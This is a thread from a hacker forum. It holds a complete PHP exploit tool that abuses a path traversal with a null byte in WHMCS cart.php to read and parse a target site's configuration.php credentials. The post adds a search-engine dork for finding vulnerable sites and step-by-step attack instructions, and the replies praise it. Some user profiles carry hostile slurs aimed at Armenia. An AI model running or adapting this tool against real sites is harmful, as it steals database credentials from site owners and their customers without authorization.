Anti-armenia.ORG - Forumlar - WHCMS Confiig ReaD , [ Develop Script ] :D

Forumlar / Programming / PHP ASP Html,xHtml Javascript CSS / WHCMS Confiig ReaD , [ Develop Script ] :D

Istifadəçi

2012-02-03 10:44 GMT

Dr.KroOoZ

C0d3r

Mesaj Sayı : 127

Mövzu Sayı :

Rep Ver :

Rep Sayı : 11

Indi Saytda : Durum

Cinsiyyət :

Şəhər :

Ölkə :

Məslək : Dr.KroOoZ

Yaş :

Mesaj :

Hello

Kod:
<?php
/**
* [TPK] & [shipcode] - theprojectxblog.net
* WHCMS Cart Exploit Tool
* #projectx
* http://www.exploit-db.com/exploits/17999/
* Develop By : Dr.KroOoZ || Root@TTGSa.Com
**/

# default payload
$payload = "cart.php?a=projectx&templatefile=../../../configuration.php%00";

# site checker

$check = '';

if(!empty($_GET['site']) && !empty($_GET['payload'])){

# yum yum!
$yum = array();

$payload = base64_decode($_GET['payload']);

$site = trim($_GET['site'],'/');
$http = stristr($site,'http://');
if($http){
$site = $http;
} else {
$site = "http://$site";
}

$exploit = "$site/$payload";

if ($stream = @fopen($exploit, 'r')) {
echo '' . $exploit . ' ';

$data = trim(stristr(stristr(stream_get_contents($stream), '<?php'), '?>', true), '<?php');
$data = explode(';',trim($data));
$data = array_filter($data);

foreach($data as $datum){
$datum = explode('=',$datum);
$yum[trim($datum[0])] = $datum[1];
}

echo '<pre>';
print_r($yum);
echo '</pre>';

# bug? causes apache to crash :O
// $pattern = '/<?php+(.|s)+?>/';
// preg_match($pattern, $data, $matches);
// var_dump($matches);

fclose($stream);
} else {
$check = "<a target='_new' href='$site/cart.php?a=projectx&templatefile=../../../configuration.php%00'>  Press Here to Check Don't Forget See From Source</a>";
}

}
?>
<html>
<head>
<title>WHCMS Exploit Tool</title>
<style>
body, input { background: white; color: black; font-family: calibri; font-size: 0.9em; }
input[type=text] { width: 400px; } input { border: solid 1px white; }
span { display: inline-block; width: 50px; margin-right: 10px; }
a { text-decoration: none; color: red; } img { float: left; margin-right: 10px; }
</style>
<script>
var Base64 = {

// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;

input = Base64._utf8_encode(input);

while (i < input.length) {

chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);

enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;

if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}

output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);

}

return output;
},

// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;

input = input.replace(/[^A-Za-z0-9+/=]/g, "");

while (i < input.length) {

enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));

chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;

output = output + String.fromCharCode(chr1);

if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}

}

output = Base64._utf8_decode(output);

return output;

},

// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/rn/g,"n");
var utftext = "";

for (var n = 0; n < string.length; n++) {

var c = string.charCodeAt(n);

if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}

}

return utftext;
},

// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;

while ( i < utftext.length ) {

c = utftext.charCodeAt(i);

if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}

}

return string;
}

}
</script>
</head>
<body>





<form method='get' onSubmit="javascript:payload.value = Base64.encode(payload.value);">
<center>WHCMS Config [ Exploit ] :D</center>

Target: <input type='text' name='site' value='put url without http://' style="color: #FF0000; font-family: Tahoma; border: 1px dashed #808080" size="25" />
<?php echo $check; ?> 
Payload:<input type='text' name='payload' value='<?php echo $payload; ?>' style="color: #FF0000; font-family: Tahoma; border: 1px dashed #808080" size="25" />
 
<input type='submit' value='Exploit' style="color: red; font-family: Tahoma; border: 1px dashed #000000" />


</form>


Search For Site :
<a href="http://www.bing.com/search?q=powered+by+whmcompletesolution+cart.php&go=&form=QBRE&filt=all" target="_blank" >
Press Here</a>

<div class="mydiv" style="color: black; font-family: Tahoma; border: 1px dashed red">
<body>


+-------------------------------------------------------+
How
To Use
1- Press in '
Search For Site ' in new tab
2- But Site in Target
Then Press Exploit
3- U Will Get Message
" Press Here to Check Don't Forget See From Source
"
4- Site Will Open
Then See Source .. 
And u Read The
Config :D
Hint : See Source IN
FireFox [ CTRL + U ]
Or 

Right Click Then Press To [ 
View Page Source ]

+-------------------------------------------------------+

Develop & Design By :
Dr.KroOoZ | Mail : Root@TTGSa.Com !

+-------------------------------------------------------+

</body>
<form>

<input type="submit" value="Copyright" onClick="alert( 'Develop By : || Dr.KroOoZ || Mail : Root@TTGSa.CoM' )" style="color: #990033; font-family: Tahoma; font-size: 10pt; border: 1px solid #808080; background-color: #CCCCCC">
</form>
</body>
</html>

Install [ AppServ Or Upload For Any Server ] Then Open U See All Clear ..

Anti-armenia.ORG

Istifadəçi

2012-02-03 10:53 GMT

joker

İstifadəçi

Mesaj Sayı : 121

Mövzu Sayı :

Rep Ver :

Rep Sayı : 2

Indi Saytda : Durum

Cinsiyyət : Oğlan

Şəhər : anti-armenia.org

Ölkə :

Məslək : defacer,fuck armenia,hacker,web master

Yaş : 31

Mesaj :

thanks

Yenilik istəyən yenilik edər.

Anti-armenia.ORG

Istifadəçi

2012-02-03 11:55 GMT

Ferid23

Admin

Mesaj Sayı : 1875

Mövzu Sayı :

Rep Ver :

Rep Sayı : 45

Indi Saytda : Durum

Cinsiyyət : Oğlan

Şəhər : Anti-armenia.ORG

Ölkə :

Məslək : Programmer & Defacer

Yaş : 12

Mesaj :

Thanks bro!

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)

Anti-armenia.ORG